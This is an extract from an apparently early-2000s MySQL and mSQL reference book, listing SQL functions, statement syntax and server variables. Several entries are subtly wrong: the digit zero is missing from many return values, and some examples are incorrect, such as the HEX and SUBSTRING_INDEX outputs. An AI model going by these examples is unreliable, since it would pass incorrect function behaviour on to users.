Returns the number of bits that are set to 1 in the binary representation of the number (e.g., BIT_COUNT(17) returns 2).

CEILING( number)

Returns the smallest integer larger than or equal to number (e.g., CEILING (5.67) returns 6).

COS( radians)

Returns the cosine of the given number, which is in radians (e.g., COS(0) returns 1.000000).

COT( radians)

Returns the cotangent of the given number, which must be in radians (e.g., COT(1) returns 0.642093).

CURDATE()/CURRENT_DATE()

Returns the current date. A number of the form YYYYMMDD is returned if this is used in a numerical context, otherwise a string of the form 'YYYY-MM-DD' is returned (e.g., CURDATE() could return "1998-08-24").

CURTIME()/CURRENT_TIME()

Returns the current time. A number of the form HHMMSS is returned if this is used in a numerical context, otherwise a string of the form HH:MM:SS is returned (e.g., CURRENT_TIME() could return 13:02:43).

DATABASE()

Returns the name of the current database (e.g., DATABASE() could return "mydata").

DATE_ADD(date, INTERVAL amount type)/ADDDATE(date, INTERVAL amount type)

Returns a date formed by adding the given amount of time to the given date. The type of time to add can be one of the following: SECOND, MINUTE, HOUR, DAY, MONTH, YEAR, MINUTE_SECOND (as "minutes:seconds"), HOUR_MINUTE (as "hours:minutes"), DAY_HOUR (as "days hours"), YEAR_MONTH (as "years-months"), HOUR_SECOND (as "hours:minutes:seconds"), DAY_MINUTE (as "days hours:minutes") and DAY_SECOND (as "days hours:minutes:seconds"). Except for those types with forms specified above, the amount must be an integer value (e.g., DATE_ADD("1998-08-24 13:00:00", INTERVAL 2 MONTH) returns "1998-10-24 13:00:00").

DATE_FORMAT(date, format)

Returns the date formatted as specified. The format string prints as given with the following values substituted:

%a

Short weekday name (Sun, Mon, etc.)

%b

Short month name (Jan, Feb, etc.)

%D

Day of the month with ordinal suffix (1st, 2nd, 3rd, etc.)

%d

Day of the month

%H

24-hour hour (always two digits, e.g., 01)

%h/%I

12-hour hour (always two digits, e.g., 09)

%i

Minutes

%j

Day of the year

%k

24-hour hour (one or two digits, e.g., 1)

%l

12-hour hour (one or two digits, e.g., 9)

%M

Name of the month

%m

Number of the month (January is 1).

%p

AM or PM

%r

12-hour total time (including AM/PM)

%S

Seconds (always two digits, e.g., 04)

%s

Seconds (one or two digits, e.g., 4)

%T

24-hour total time

%U

Week of the year (new weeks begin on Sunday)

%W

Name of the weekday

%w

Number of weekday (0 is Sunday)

%Y

Four digit year

%y

Two digit year

%%

A literal "%" character.

DATE_SUB(date, INTERVAL amount type)/SUBDATE(date, INTERVAL amount type)

Returns a date formed by subtracting the given amount of time from the given date. The same interval types are used as with DATE_ADD (e.g., SUBDATE("1999-05-20 11:04:23", INTERVAL 2 DAY) returns "1999-05-18 11:04:23").

DAYNAME( date)

Returns the name of the day of the week for the given date (e.g., DAYNAME('1998-08-22') returns "Saturday").

DAYOFMONTH(date)

Returns the day of the month for the given date (e.g., DAYOFMONTH('1998-08-22') returns 22).

DAYOFWEEK(date)/WEEKDAY(date)

Returns the number of the day of the week (1 is Sunday) for the given date (e.g., DAY_OF_WEEK('1998-08-22') returns 7).

DAYOFYEAR(date)

Returns the day of the year for the given date (e.g., DAYOFYEAR('1983-02-15') returns 46).

DEGREES(radians)

Returns the given argument converted from radians to degrees (e.g., DEGREES(2*PI()) returns 360.000000).

ELT( number,string1,string2, . . .)

Returns string1 if number is 1, string2 if number is 2, etc. A null value is returned if number does not correspond with a string (e.g., ELT(3, "once","twice","thrice","fourth") returns "thrice").

ENCRYPT( string[, salt])

Password-encrypts the given string. If a salt is provided, it is used to generate the password (e.g., ENCRYPT('mypass','3a') could return "3afi4004idgv").

EXP( power)

Returns the number e raised to the given power (e.g., EXP(1) returns 2.718282).

FIELD( string,string1,string2, . . .)

Returns the position in the argument list (starting with string1) of the first string that is identical to string. Returns if no other string matches string (e.g., FIELD('abe','george','john','abe','bill') returns).

FIND_IN_SET(string,set)

Returns the position of string within set. The set argument is a series of strings separated by commas (e.g., FIND_IN_SET ('abe', 'george, john, abe, bill') returns 3).

FLOOR( number)

Returns the largest integer smaller than or equal to number (e.g., FLOOR (5.67) returns 5).

FORMAT( number, decimals)

Neatly formats the given number, using the given number of decimals (e.g., FORMAT(4432.99134,2) returns "4,432.99").

FROM_DAYS( days)

Returns the date that is the given number of days (where day 1 is the Jan 1 of year 1) (e.g., FROM_DAYS(728749) returns "1995-04-02").

FROM_UNIXTIME( seconds[, format])

Returns the date (in GMT) corresponding to the given number of seconds since the epoch (January 1, 1970 GMT). If a format string (using the same format as DATE_FORMAT) is given, the returned time is formatted accordingly (e.g., FROM_UNIXTIME(903981584) returns "1998-08-24 18:00:02").

GET_LOCK( name,seconds)

Creates a named user-defined lock that waits for the given number of seconds until timeout. This lock can be used for client-side application locking between programs that cooperatively use the same lock names. If the lock is successful, 1 is returned. If the lock times out while waiting, is returned. All others errors return a NULL value. Only one named lock may be active at a time for a singe session. Running GET_LOCK() more than once will silently remove any previous locks (e.g., GET_LOCK("mylock",10) could return 1 within the following 10 seconds).

GREATEST( num1, num2[, num3, . . . ])

Returns the numerically largest of all of the arguments (e.g., GREATEST(5,6,68,1,4) returns 68).

HEX( decimal)

Returns the hexadecimal value of the given decimal number. This is equivalent to the function CONV(decimal,10,16) (e.g., HEX(90) returns "3a").

HOUR( time)

Returns the hour of the given time (e.g., HOUR('15:33:30') returns 15).

IF( test, value1, value2)

If test is true, returns value1, otherwise returns value2. The test value is considered to be an integer, therefore floating point values must be used with comparison operations to generate an integer (e.g., IF(1>0,"true","false") returns true).

IFNULL( value, value2)

Returns value if it is not null, otherwise returns value2 (e.g., IFNULL(NULL, "bar") returns "bar").

INSERT( string,position,length,new)

Returns the string created by replacing the substring of string starting at position and going length characters with new (e.g., INSERT('help',3,1,' can jum') returns "he can jump").

INSTR( string,substring)

Identical to LOCATE except that the arguments are reversed (e.g., INSTR('makebelieve','lie') returns 7).

ISNULL( expression)

Returns 1 if the expression evaluates to NULL, otherwise returns (e.g., ISNULL(3) returns 0).

INTERVAL(A,B,C,D, . . . )

Returns if A is the smallest value, 1 if A is between B and C, 2 if A is between C and D, etc. All of the values except for A must be in order (e.g., INTERVAL(5,2,4,6,8) returns 2 (because 5 is in the second interval, between 4 and 6).

LAST_INSERT_ID()

Returns the last value that was automatically generated for an AUTO_INCREMENT field (e.g., LAST_INSERT_ID() could return 4).

LCASE( string)/LOWER(string)

Returns string with all characters turned into lower case (e.g., LCASE('BoB') returns "bob").

LEAST( num1, num2[, num3, . . .])

Returns the numerically smallest of all of the arguments (e.g., LEAST(5,6,68,1,4) returns 1).

LEFT( string,length)

Returns length characters from the left end of string (e.g., LEFT("12345",3) returns "123").

LENGTH( string)/OCTET_LENGTH( string)/CHAR_LENGTH( string)/CHARACTER_LENGTH( string)

Returns the length of string (e.g., CHAR_LENGTH('Hi Mom!') returns 7). In character sets that use multibyte characters (such as Unicode, and several Asian character sets), one character may take up more than one byte. In these cases, MySQL's string functions should correctly count the number of characters, not bytes, in the string. However, in versions prior to 3.23, this did not work properly and the function returned the number of bytes.

LOCATE( substring,string[,number])/POSITION(substring,string)

Returns the character position of the first occurrence of substring within string. If substring does not exist in string, is returned. If a numerical third argument is supplied to LOCATE, the search for substring within string does not start until the given position within string (e.g., LOCATE('SQL','MySQL') returns 3).

LOG( number)

Returns the natural logarithm of number (e.g., LOG(2) returns 0.693147).

LOG10( number)

Returns the common logarithm of number (e.g., LOG10(1000) returns 3.000000).

LPAD( string,length,padding)

Returns string with padding added to the left end until the new string is length characters long (e.g., LPAD(' Merry X-Mas',18,'Ho') returns "HoHoHo Merry X-Mas").

LTRIM( string)

Returns string with all leading whitespace removed (e.g., LTRIM(' Oops') returns "Oops").

MID( string,position,length)/SUBSTRING(string,position,length)/SUBSTRING(string FROM position FOR length)

Returns the substring formed by taking length characters from string, starting at position (e.g., SUBSTRING('12345',2,3) returns "234").

MINUTE( time)

Returns the minute of the given time (e.g., MINUTE('15:33:30') returns 33).

MOD( num1, num2)

Returns the modulo of num1 divided by num2. This is the same as the % operator (e.g., MOD(11,3) returns 2).

MONTH( date)

Returns the number of the month (1 is January) for the given date (e.g., MONTH(`1998-08-22') returns 8).

MONTHNAME( date)

Returns the name of the month for the given date (e.g., MONTHNAME('1998-08-22') returns "August").

NOW()/SYSDATE()/CURRENT_TIMESTAMP()

Returns the current date and time. A number of the form YYYYMMDDHHMMSS is returned if this is used in a numerical context, otherwise a string of the form 'YYYY-MM-DD HH:MM:SS' is returned (e.g., SYSDATE() could return "1998-08-24 12:55:32").

OCT( decimal)

Returns the octal value of the given decimal number. This is equivalent to the function CONV(decimal,10,8) (e.g., OCT(8) returns 10).

PASSWORD( string)

Returns a password-encrypted version of the given string (e.g., PASSWD('mypass') could return "3afi4004idgv").

PERIOD_ADD( date,months)

Returns the date formed by adding the given number of months to date (which must be of the form YYMM or YYYYMM) (e.g., PERIOD_ADD(9808,14) returns 199910).

PERIOD_DIFF( date1, date2)

Returns the number of months between the two dates (which must be of the form YYMM or YYYYMM) (e.g., PERIOD_DIFF(199901,8901) returns 120).

PI()

Returns the value of pi: 3.141593.

POW( num1, num2)/POWER(num1, num2)

Returns the value of num1 raised to the num2 power (e.g., POWER(3,2) returns 9.000000).

QUARTER( date)

Returns the number of the quarter of the given date (1 is January-March) (e.g., QUARTER('1998-08-22') returns 3).

RADIANS( degrees)

Returns the given argument converted from degrees to radians (e.g., RADIANS(-90) returns -1.570796).

RAND([ seed])

Returns a random decimal value between and 1. If an argument is specified, it is used as the seed of the random number generator (e.g., RAND(3) could return 0.435434).

RELEASE_LOCK( name)

Removes the named locked created with the GET_LOCK function. Returns 1 if the release is successful, if it failed because the current thread did not own the lock and a null value if the lock did not exist (e.g., RELEASE_LOCK("mylock")).

REPEAT( string,number)

Returns a string consisting of the original string repeated number times. Returns an empty string if number is less than or equal to zero (e.g., REPEAT('ma',4) returns `mamamama').

REPLACE( string,old,new)

Returns a string that has all occurrences of the substring old replaced with new (e.g., REPLACE('black jack','ack','oke') returns "bloke joke").

REVERSE( string)

Returns the character reverse of string (e.g., REVERSE('my bologna') returns "angolob ym").

RIGHT(string,length)/SUBSTRING( string FROM length)

Returns length characters from the right end of string (e.g., SUBSTRING("12345" FROM 3) returns "345").

ROUND( number[,decimal])

Returns number, rounded to the given number of decimals. If no decimal argument is supplied, number is rounded to an integer (e.g., ROUND(5.67,1) returns 5.7).

RPAD( string,length,padding)

Returns string with padding added to the right end until the new string is length characters long (e.g., RPAD('Yo',5,'!') returns "Yo!!!").

RTRIM( string)

Returns string with all trailing whitespace removed (e.g., RTRIM('Oops ') returns "Oops").

SECOND( time)

Returns the seconds of the given time (e.g., SECOND('15:33:30') returns 30).

SEC_TO_TIME( seconds)

Returns the number of hours, minutes and seconds in the given number of seconds. A number of the form HHMMSS is returned if this is used in a numerical context, otherwise a string of the form HH:MM:SS is returned (e.g., SEC_TO_TIME(3666) returns "01:01:06").

SIGN( number)

Returns -1 if number is negative, if it's zero, or 1 if it's positive (e.g., SIGN(4) returns 1).

SIN( radians)

Returns the sine of the given number, which is in radians (e.g., SIN(2*PI()) returns 0.000000).

SOUNDEX( string)

Returns the Soundex code associated with string (e.g., SOUNDEX('Jello') returns "J400").

SPACE( number)

Returns a string that contains number spaces (e.g., SPACE(5) returns " ").

SQRT(number)

Returns the square root of number (e.g., SQRT(16) returns 4.000000).

STRCMP( string1, string2)

Returns if the strings are the same, -1 if string1 would sort before than string2, or 1 if string1 would sort after than string2 (e.g., STRCMP('bob','bobbie') returns -1).

SUBSTRING_INDEX( string,character,number)

Returns the substring formed by counting number of character within string and then returning everything to the right if count is positive, or everything to the left if count is negative (e.g., SUBSTRING_INDEX('1,2,3,4,5',',',-3) returns "1,2,3").

SUBSTRING( string,position)

Returns all of string starting at position characters (e.g., SUBSTRING("123456",3) returns "3456").

TAN( radians)

Returns the tangent of the given number, which must be in radians (e.g., TAN(0) returns 0.000000).

TIME_FORMAT( time, format)

Returns the given time using a format string. The format string is of the same type as DATE_FORMAT, as shown earlier.

TIME_TO_SEC( time)

Returns the number of seconds in the time argument (e.g., TIME_TO_SEC('01:01:06') returns 3666).

TO_DAYS( date)

Returns the number of days (where day 1 is the Jan 1 of year 1) to the given date. The date may be a value of type DATE, DATETIME or TIMESTAMP, or a number of the form YYMMDD or YYYYMMDD (e.g., TO_DAYS(19950402) returns 728749).

TRIM([BOTH|LEADING|TRAILING] [ remove] [FROM] string)

With no modifiers, returns string with all trailing and leading whitespace removed. You can specify whether to remove either the leading or the trailing whitespace, or both. You can also specify another character other than space to be removed (e.g., TRIM(both '-' from '---look here---') returns "look here").

TRUNCATE (number, decimals)

Returns number truncated to the given number of decimals (e.g., TRUNCATE(3.33333333,2) returns 3.33).

UCASE( string)/UPPER(string)

Returns string with all characters turned into uppercase (e.g., UPPER ('Scooby') returns "SCOOBY").

UNIX_TIMESTAMP([ date])

Returns the number of seconds from the epoch (January 1, 1970 GMT) to the given date (in GMT). If no date is given, the number of seconds to the current date is used (e.g., UNIX_TIMESTAMP('1998-08-24 18:00:02') returns 903981584).

USER()/SYSTEM_USER()/SESSION_USER()

Returns the name of the current user (e.g., SYSTEM_USER() could return "ryarger").

VERSION()

Returns the version of the MySQL server itself (e.g., VERSION() could return "3.22.5c-alpha").

WEEK( date)

Returns the week of the year for the given date (e.g., WEEK('1998-12-29') returns 52).

YEAR( date)

Returns the year of the given date (e.g., YEAR('1998-12-29') returns 1998).

The following functions are aggregate functions that perform upon a set of data. The usual method of using these is to perform some action on a complete set of returned rows. For example, SELECT AVG(height) FROM kids would return the average of all of the values of the 'height' field in the kids table.

AVG( expression)

Returns the average value of the values in expression (e.g., SELECT AVG(score) FROM tests).

BIT_AND( expression)

Returns the bitwise AND aggregate of all of the values in expression (e.g., SELECT BIT_AND(flags) FROM options).

BIT_OR( expression)

Returns the bitwise OR aggregate of all of the values in expression (e.g., SELECT BIT_OR(flags) FROM options).

COUNT( expression)

Returns the number of times expression was not null. COUNT(*) will return the number of rows with some data in the entire table (e.g., SELECT COUNT(*) FROM folders).

MAX( expression)

Returns the largest of the values in expression (e.g., SELECT MAX (elevation) FROM mountains).

MIN( expression)

Returns the smallest of the values in expression (e.g., SELECT MIN(level) FROM toxic_waste).

STD( expression)/STDDEV(expression)

Returns the standard deviation of the values in expression (e.g., SELECT STDDEV(points) FROM data).

SUM( expression)

Returns the sum of the values in expression (e.g., SELECT SUM(calories) FROM daily_diet).

Examples

# Find all names in the 'people' table where the 'state' field is 'MI'.
SELECT name FROM people WHERE state='MI'
# Display all of the data in the 'mytable' table.
SELECT * FROM mytable
SET
SET OPTION SQL_OPTION=value

Defines an option for the current session. Values set by this statement are not in effect anywhere but the current connection, and they disappear at the end of the connection. The following options are current supported:

CHARACTER SET charsetname or DEFAULT

Changes the character set used by MySQL. Currently the only other built-in character set is cp1251_koi8, which refers to the Russian alphabet. Specifying DEFAULT will return to the original character set.

LAST_INSERT_ID=number

Determines the value returned from the LAST_INSERT_ID() function.

SQL_BIG_SELECTS=0 or 1

Determines the behavior when a large SELECT query is encountered. If set to 1, MySQL will abort the query with an error if the query would probably take too long to compute. MySQL decides that a query will take too long it will have to examine more rows than the value of the max_join_size server variable. The default value is 0, which allows all queries.

SQL_BIG_TABLES=0 or 1

Determines the behavior of temporary tables (usually generated when dealing with large data sets). If this value is 1, temporary tables are stored on disk, which is slower than primary memory but can prevent errors on systems with low memory. The default value is 0, which stores temporary tables in RAM.

SQL_LOG_OFF=0 or 1

When set to 1, turns off standard logging for the current session. This does not stop logging to the ISAM log or the update log. You must have PROCESS LIST privileges to use this option. The default is 0, which enables regular logging. Chapter 4, "MySQL", describes the various MySQL logging schemes.

SQL_SELECT_LIMIT=number

The maximum number of records returned by a SELECT query. A LIMIT modifier in a SELECT statement overrides this value. The default behavior is to return all records.

SQL_UPDATE_LOG=0 or 1

When set to 0, turns off update logging for the current session. This does not affect standard logging or ISAM logging. You must have PROCESS LIST privileges to use this option. The default is 1, which enables regular logging.

TIMESTAMP=value or DEFAULT

Determines the time used for the session. This time is logged to the update log and will be used if data is restored from the log. Specifying DEFAULT will return to the system time.

Example

# Turn off logging for the current connection.
SET OPTION SQL_LOG_OFF=1
SHOW
SHOW DATABASES [LIKE clause]
SHOW KEYS FROM table [FROM database]
SHOW INDEX FROM table [FROM database]
SHOW TABLES [FROM database] [LIKE clause]
SHOW COLUMNS FROM table [FROM database] [LIKE clause]
SHOW FIELDS FROM table [FROM database] [LIKE clause]
SHOW STATUS
SHOW TABLE STATUS [FROM database] [LIKE clause]
SHOW VARIABLES [LIKE clause]

Displays various information about the MySQL system. This statement can be used to examine the status or structure of almost any part of MySQL.

Examples

# Show the available databases
SHOW DATABASES
# Display information on the indexes on table 'bigdata'
SHOW KEYS FROM bigdata
# Display information on the indexes on table 'bigdata' in the database 'mydata'
SHOW INDEX FROM bigdata FROM mydata
# Show the tables available from the database 'mydata' that begin with the
# letter 'z'
SHOW TABLES FROM mydata LIKE 'z%'
# Display information about the columns on the table 'skates'
SHOW COLUMNS FROM stakes
# Display information about the columns on the table 'people' that end with
# '_name'
SHOW FIELDS FROM people LIKE '%\_name'
# Show server status information.
SHOW STATUS
# Display server variables
SHOW VARIABLES
UNLOCK
UNLOCK TABLES

Unlocks all tables that were locked using the LOCK statement during the current connection.

Example

# Unlock all tables
UNLOCK TABLES
UPDATE
UPDATE table SET column=value, ... [WHERE clause]

Alters data within a table. This statement is used to change actual data within a table without altering the table itself. You may use the name of a column as a value when setting a new value. For example, UPDATE health SET miles_ran=miles_ran+5 would add five to the current value of the miles_ran column. The statement returns the number of rows changed.

You must have UPDATE privileges to use this statement.

Example

# Change the name 'John Deo' to 'John Doe' everywhere in the people table.
UPDATE people SET name='John Doe' WHERE name='John Deo'
USE
USE database

Selects the default database. The database given in this statement is used as the default database for subsequent queries. Other databases may still be explicitly specified using the database.table.column notation.

Example

# Make db1 the default database.

USE db1
Previous | Home | Next
III. Reference | Book Index | 15.2. mSQL SQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mSQL SQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

15.2. mSQL SQL

CREATE
CREATE TABLE name field_name field_type, [field2 type2, ...]
CREATE SEQUENCE ON table [STEP value] [VALUE value]
CREATE INDEX name ON table ( column, ... )

Creates new database elements (or entirely new databases). This statement is used to create tables, indices, and sequences.

The CREATE SEQUENCE statement adds a sequence to a table. A sequence is simply a value associated with a table that the mSQL server keeps track of. Most commonly, a sequence is used to generate unique identification numbers for tables. The value of the sequence is incremented every time the sequence value is read. The STEP modifier determines how much the sequence value is increased each time. The VALUE modifier gives the initial value of the sequence.

The CREATE INDEX statement defines an index for the table. The mSQL system supports indexes that contain more than one field. You must provide a name for the index, although it need not be meaningful because it is rarely needed by the end user.

The CREATE TABLE statement defines the structure of a table within the database. This statement is how all mSQL tables are created. The syntax of the create definition is the name of a field followed by the type of the field, followed by any modifiers (e.g., name char(30) not null). The following datatypes are supported by mSQL:

CHAR( length)

Fixed length character value. No values can be greater than the given length.

DATE

Standard date type.

INT

Standard 4-byte integer. Range is -2147483646 to 2147483647.

MONEY

Monetary type suitable for accurately storing money values. This type allows for storing decimal values (like 19.99) without the imprecision of using a floating point type.

REAL

Standard 8-byte floating point value. Minimum nonzero values are +/- 4.94E-324 and maximum are +/- 1.79E+308.

TEXT( length)

Variable length character value. The given length is the maximum value for most of the data, but longer data can be entered.

TIME

Standard time type.

UINT

Standard 4-byte unsigned integer. Range is 0 to 4294967295.

In addition to the main types, several modifiers can also be used to qualify the type:

length

This value is the maximum length of a character type. For CHAR, this is the absolute maximum. For TEXT this is only an approximate maximum that should apply to most of the data. Longer data can be inserted into a TEXT field, but it will make the table slower.

NOT NULL

Specifies that the field cannot contain a null value. Attempting to insert a null value into such a field will result in an error.

Examples

CREATE TABLE emp_data ( id INT, name CHAR(50) )
# Add a sequence to the table 'checks' with the initial value '1000' and the
# default step of 1.
CREATE SEQUENCE ON checks VALUE 1000
# Create an index on the table 'music' that covers the fields 'artist',
# 'publisher', and 'title'.
CREATE INDEX idx1 ON music ( artist, publisher, title )
DELETE
DELETE FROM table [WHERE clause]

Deletes rows from a table. When used without a WHERE clause, this will erase the entire table and recreate it as an empty table. With a clause, it will delete the rows that match the condition of the clause.

Examples

# Erase all of the data (but not the table itself) for the table 'olddata'.
DELETE FROM olddata
# Erase all records in the 'sales' table where the 'year' field is '1995'.
DELETE FROM sales WHERE year=1995
DROP
DROP INDEX name
DROP TABLE name
DROP SEQUENCE FROM table

Permanently remove a table, index, or sequence from the mSQL system.

WARNING

DROP is by far the most dangerous SQL statement. If you have drop privileges, you may permanently erase a table or even an entire database. This is done without warning or confirmation. The only way to undo a DROP is to restore the table or database from backups. The lessons to be learned here are (1) always keep backups and (2) don't use DROP unless you are really sure.

Examples

# Delete the tables 'oh_no'
DROP TABLE oh_no
# Remove the named index 'my_index'
DROP INDEX my_index
# Erase the sequence defined on the table 'counter'. Another sequence can be
# recreated at any time using the 'CREATE SEQUENCE' statement.
DROP SEQUENCE FROM counter
INSERT
INSERT INTO table [ (column, ...) ] VALUES ( values )

Inserts data into a table. This statement inserts the given values into the given columns. Columns in the table that are not given values are set to NULL. If you leave out the list of columns, the number of value given must exactly match the number of columns in the table.

Examples

# Insert a record into the 'people' table.
INSERT INTO people ( name, rank, serial_number ) VALUES ( 'Bob Smith',
    'Captain', 12345 )
SELECT
SELECT [DISTINCT] columns FROM table [clause]

Retrieves data from a database. The SELECT statement is the primary method of reading data from database tables.

If you specify more than one table, mSQL will automatically join the tables so that you can compare values between the tables.

If the DISTINCT keyword is present, only one row of data will be output for every group of rows that is identical.

The column names can be specified as column or table.column. The longer form is necessary only to disambiguate columns with the same name, but can be used at any time (e.g., SELECT name FROM people; SELECT people.name FROM people).

The list of tables to join are specified as Table1, Table2, Table3, ... The tables are joined in the manner that mSQL deems most efficient. Table names can also be aliased (e.g., SELECT t1.name, t2.address FROM long_table_name=t1, longer_table_name=t2).

If no clause is provided, SELECT returns all of the data in the selected table(s).

The search clause can contain any of the following substatements:

WHERE statement

The WHERE statement construct is the most common way of searching for data in SQL. The statement is a comparison of two or more values. Named values (such as column names and aliases) and literal numbers and strings can be used in the statement. The following operators are supported:

AND

Performs a logical AND (returns 0 if any of the arguments are 0, otherwise returns 1)

OR

Performs a logical OR (returns 1 if any of the arguments are not 0, otherwise returns 0)

()

Parentheses are used to group operators in order to force precedence.

=

Returns 1 if the two values are equal, otherwise returns 0. MySQL automatically converts between types when comparing values.

<>

Returns 1 if the two values are not equal, otherwise returns 0.

<=

Returns 1 if the left value is less than or equal to the right value, otherwise returns 0.

<

Returns 1 if the left value is less than the right value, otherwise returns 0.

>=

Returns 1 if the left value is greater than or equal to the right value, otherwise returns 0.

>

Returns 1 if the left value is greater than the right value, otherwise returns 0.

ORDER BY column [DESC][, column2 [DESC],...]

Sorts the returned data using the given column(s). If DESC is present, the data is sorted in descending order, otherwise ascending order is used (e.g., SELECT name, age FROM people ORDER BY age DESC).

value1 LIKE value2

Compares value1 to value2 and returns 1 if they match and otherwise. The right-hand value can contain the wildcard "%" which matches any number of characters (including 0) and `_' which matches exactly one character. This is probably the single most used comparison in SQL. The most common usage is to compare a field value with a literal containing a wildcard (e.g., SELECT name FROM people WHERE name LIKE 'B%').

value1 RLIKE value2

Compares value1 to value2 using the extended regular expression syntax and returns 1 if they match and otherwise. The right hand value can contain full Unix regular expression wildcards and constructs (e.g., SELECT name FROM people WHERE name RLIKE '^B.*').

value1 CLIKE value2

Compares value1 to value2 using a case insensitive version of the LIKE operator (e.g., SELECT name FROM people WHERE name CLIKE 'b%').

The WHERE clause returns any of the expression values that are not or NULL. Therefore, SELECT age FROM people WHERE age>10 will return only those ages that are greater than 10.

Examples

# Find all names in the 'people' table where the 'state' field is 'MI'.
SELECT name FROM people WHERE state='MI'
# Display all of the data in the 'mytable' table.
SELECT * FROM mytable
UPDATE
UPDATE table SET column=value, ... [WHERE clause]

Alters data within a table. This statement is used to change actual data within a table without altering the table itself.

Example

# Change the name 'John Deo' to 'John Doe' everywhere in the people table.
UPDATE people SET name='John Doe' WHERE name='John Deo'
Previous | Home | Next
15. SQL Reference | Book Index | 16. MySQL and mSQL System Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


MySQL and mSQL System Variables (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 16. MySQL and mSQL System Variables

Contents:

MySQL System Variables
mSQL System Variables

Several variables can be used to customize the operation of MySQL and mSQL. Many of these are environment variables that are inherited from the user's shell, while others are set via command line options and configuration files.

16.1. MySQL System Variables

16.1.1. Environment Variables

The following variables are specific to MySQL programs. They may be defined in the current shell or as part of a shell script. To set a variable for the MySQL daemon (mysqld), define the variable in the safe_mysqld script that is used to start the daemon or define the variables in the MySQL configuration file (described later in this chapter).

MY_BASEDIR

MY_BASEDIR_VERSION

The root directory containing the subdirectories `bin', `var' and `libexec' that contain the MySQL programs and data. A default value of this (usually compiled into MySQL as /usr/local) is used if this variable does not exist. This option affects only the mysqld program.

MYSQL_DEBUG

The debugging level for the program. This option can be used with any MySQL program. The debugging library used by MySQL has many options. A list of all of the available options can be found at http://www.turbolift.com/mysql/appendixC.html. The most common set of options is d:t:o,/tmp/debugfile.

MYSQL_HOST

The hostname used to connect to a remote MySQL database server. This option can be used with any of the MySQL client programs (mysql, mysqlshow, mysqladmin, etc.).

MYSQL_PWD

The password used to connect to the MySQL database server. This option can be used with any of the MySQL client programs.

WARNING

Be careful where you put your passwords. A common use for environment variables is to set them within scripts. Of course, setting this particular variable in a script would make your password visible to anyone who can run the script. Even setting the variable manually on the command line exposes it to the superuser and any else who has the ability to examine the system memory.

MYSQL_TCP_PORT

When used with a client program, this is the TCP port on a remote machine used to connect to the MySQL database server. When used with mysqld, this is the port used to listen for incoming connections.

MYSQL_UNIX_PORT

When used with a client program, this is the Unix socket file used to connect to the MySQL database server. When used with mysqld, this is the name of the Unix socket file created that allows local connections.

In addition, the MySQL programs use the following environment variables that are routinely set as part of the Unix environment.

EDITOR
VISUAL

The path of the default editor. The mysql program uses this program to edit SQL statements if a \e or edit command is encountered.

HOME

The home directory of the current user.

LOGIN

LOGNAME

USER

The username of the current user.

PATH

The list of directories used to find programs.

POSIXLY_CORRECT

If this variable is defined, no special processing is done on command line options. Otherwise, command line options are reordered so that extended options can be used. This variable can be used with any MySQL program.

TMP

TMPDIR

The directory in which temporary files are kept. If this variable is not defined `/tmp' is used.

TZ

The time zone of the local machine.

UMASK

The umask used when creating new files.

16.1.2. Command line variables

These options are supplied via the -O or -set-variable command line option that is available in most MySQL programs.

back_log

The number of TCP connections that can be queued at once. The default value is 5. This option is available for mysqld only.

connect_timeout

The number of seconds the mysqld server waits for a connect packet before responding with Bad handshake.

decode-bits

The number of bits used for generating certain internal tables. This should be a number between 4 and 9 (between 4 and 6 on a 16-bit operating system). The default value is 9. This option is available only for isamchk and should be used only if you understand the details of the ISAM table structure.

delayed_insert_limit

Causes the INSERT DELAYED handler to check whether there are any SELECT statements pending after inserting delayed_insert_limit rows. If so, the handler allows the statements to execute before continuing.

delayed_insert_timeout

How long an INSERT DELAYED thread should wait for INSERT statements to finish before terminating.

delayed_queue_size

How big a queue (in rows) should be allocated for handling INSERT DELAYED. If the queue becomes full, any client that does an INSERT DELAYED must wait until there is room in the queue again.

dritebuffer

The size of the buffer used to store outgoing data. The default value is 260KB. This option is only available for isamchk.

flush_time

If set, all tables are closed then every flush_time seconds to free resources and synchronize changes to disk.

join_buffer

The size of a buffer used when performing table joins. Increasing this can speed up performance for queries that join tables. The default value is 130 KB. This option is available only for mysqld.

key_buffer_size

The size of a buffer allocated to store recently accessed keys. Increasing this can speed up performance for queries that involve the repeated use of the same keys. This option is available for isamchk (where the default value is 0.5 MB) and mysqld (default value of 1 MB).

long_query_time

If set, the slow_queries counter is incremented each time a query takes longer than long_query_time seconds.

max_allowed_packet

The maximum size of the buffer used to store incoming data. Each client connection has a separate buffer. The default value is 64 KB. This option is available only for mysqld.

max_connect_errors

If set, the server blocks further connections from a remote host when the number of interrupted connections from that host exceeds max_connect_errors. You can unblock a host with the command FLUSH HOSTS.

max_connections

The maximum number of simultaneous client connections. The default value is 90. This option can be used only with mysqld.

max_delayed_threads

Start no more than this number of threads to handle INSERT DELAYED. If a client tries to use INSERT DATA to insert new data after this limit is reached, the request is handled as if the DELAYED attribute was not specified.

max_join_size

The maximum size of a temporary table created by joining tables. The default value is 4 GB. This option can be used only with mysqld.

max_sort_length

The maximum number of characters to examine when sorting a BLOB or VARCHAR field. The default value is 1KB.

max_tmp_tables

(To be implemented later for Version 3.23.) Maximum number of temporary tables a client can keep open at the same time.

net_buffer_length

The initial size of the buffer used to store incoming data. Each client connection has a separate buffer. The default value is 8KB. This option is available for mysql, mysqld, and mysqldump.

readbuffer

The size of the buffer used to store data being read from files. The default value is 260KB. This option is available only for isamchk.

record_buffer

The size of a buffer used to read data from the tables directly (that is, not using keys). Increasing this can speed up performance for queries that do not involve keys. The default value is 130KB. This option is available only for mysqld.

sortbuffer

The size of the buffer used when sorting table data. The default value is 1MB. This option is available only for isamchk.

sort_buffer

The size of the buffer used when performing sorts on retrieved data. Increasing this can speed up performance for queries that use ORDER BY or GROUP BY statements. The default value is 2MB. This option is available only for mysqld.

sort_key_blocks

The number of blocks of keys used when sorting keys. This default value is 16. This option is only available for isamchk and should be used only if you understand the details of the ISAM table structure.

table_cache

The maximum number of tables the database server can have open at once. The default value is 64. This option is only available for mysqld.

tmp_table_size

The maximum size of temporary tables used by the database server. The default value is 1MB. This option is only available for mysqld.

thread_stack

The size of the memory stack for each thread. The default value is 64KB. This option is only available for mysqld.

wait_timeout

The number of seconds the server waits for activity on a connection before closing it.

16.1.3. The MySQL Configuration File

